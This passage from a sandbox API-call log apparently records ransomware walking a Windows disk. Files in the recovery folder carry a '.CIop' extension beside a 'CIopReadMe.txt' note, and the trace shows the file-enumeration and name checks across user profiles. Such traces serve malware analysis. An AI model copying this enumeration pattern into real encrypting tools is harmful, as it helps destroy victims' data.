lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0117.915] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.915] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.915] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0117.915] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0117.915] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0117.915] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0117.915] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0117.915] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0117.915] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0117.915] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0117.915] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.915] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.915] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.915] lstrcmpW (lpString1="WindowsRE", lpString2="..") returned 1 [0117.915] lstrcmpW (lpString1="WindowsRE", lpString2=".") returned 1 [0117.915] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0117.915] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0117.915] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0117.915] SetErrorMode (uMode=0x1) returned 0x1 [0117.915] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0117.915] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0117.915] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Recovery\\WindowsRE\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0117.915] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0117.915] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0117.916] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0117.916] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.916] lstrcmpW (lpString1="boot.sdi.CIop", lpString2="..") returned 1 [0117.916] lstrcmpW (lpString1="boot.sdi.CIop", lpString2=".") returned 1 [0117.916] lstrlenW (lpString=".CIop") returned 5 [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.916] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.916] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.916] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.916] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2="..") returned 1 [0117.916] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2=".") returned 1 [0117.916] lstrlenW (lpString=".CIop") returned 5 [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.916] lstrcmpW (lpString1="Winre.wim.CIop", lpString2="..") returned 1 [0117.916] lstrcmpW (lpString1="Winre.wim.CIop", lpString2=".") returned 1 [0117.916] lstrlenW (lpString=".CIop") returned 5 [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0117.916] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0117.916] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0117.916] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0117.916] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0117.916] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0117.916] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0117.916] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.916] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.917] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0117.917] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0117.917] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0117.917] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0117.917] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.917] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0117.917] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.917] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.917] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0117.917] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0117.917] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.917] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.917] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0117.917] SetErrorMode (uMode=0x1) returned 0x1 [0117.917] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0117.917] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0117.917] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\System Volume Information\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0117.917] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0117.917] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0117.917] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0117.917] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0117.917] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.917] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0117.917] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0117.917] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0117.918] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0117.918] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0117.918] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0117.918] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.918] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0117.918] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0117.918] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.918] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.918] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0117.918] SetErrorMode (uMode=0x1) returned 0x1 [0117.918] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0117.919] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0117.919] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Users\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0117.919] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0117.919] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0117.919] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0117.919] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0117.919] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.919] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.919] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.919] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.919] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.919] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.919] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0117.919] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0117.919] lstrlenW (lpString="desktop.ini") returned 11 [0117.919] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.919] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0117.919] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0117.919] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0117.919] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0117.919] lstrcatW (in: lpString1="C:\\Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0117.919] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0117.919] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0117.919] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0117.919] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.919] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.919] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.919] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0117.919] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0117.919] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0117.920] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0117.920] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0117.920] SetErrorMode (uMode=0x1) returned 0x1 [0117.920] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0117.920] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0117.920] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\All Users\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0117.920] lstrcatW (in: lpString1="C:\\Users\\All Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0117.920] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0117.920] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0117.920] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0117.920] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0117.920] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0117.920] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0117.920] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0117.920] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0117.920] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0117.920] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0117.920] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0117.920] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0117.920] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0117.920] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0117.920] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0117.920] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0117.920] SetErrorMode (uMode=0x1) returned 0x1 [0117.921] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0117.921] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0117.921] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\CIiHmnxMn6Ps\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0117.921] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0117.921] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0117.921] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0117.921] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0117.921] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0117.921] lstrlenW (lpString="ntuser.dat") returned 10 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.921] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0117.921] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0117.921] lstrlenW (lpString="ntuser.dat") returned 10 [0117.921] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0117.922] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0117.922] lstrlenW (lpString="ntuser.dat") returned 10 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0117.922] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0117.922] lstrlenW (lpString="ntuser.dat") returned 10 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0117.922] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0117.922] lstrlenW (lpString="ntuser.dat") returned 10 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0117.922] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0117.922] lstrlenW (lpString="ntuser.dat") returned 10 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0117.922] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0117.922] lstrlenW (lpString="ntuser.ini") returned 10 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0117.922] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0117.922] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0117.922] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0117.922] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0117.922] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0117.922] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0117.922] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0117.922] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.923] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.923] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0117.923] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0117.923] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0117.923] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0117.923] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0117.923] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0117.923] SetErrorMode (uMode=0x1) returned 0x1 [0117.924] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0117.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0117.924] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0117.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0117.924] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0117.924] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0117.924] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0117.924] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0117.924] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") 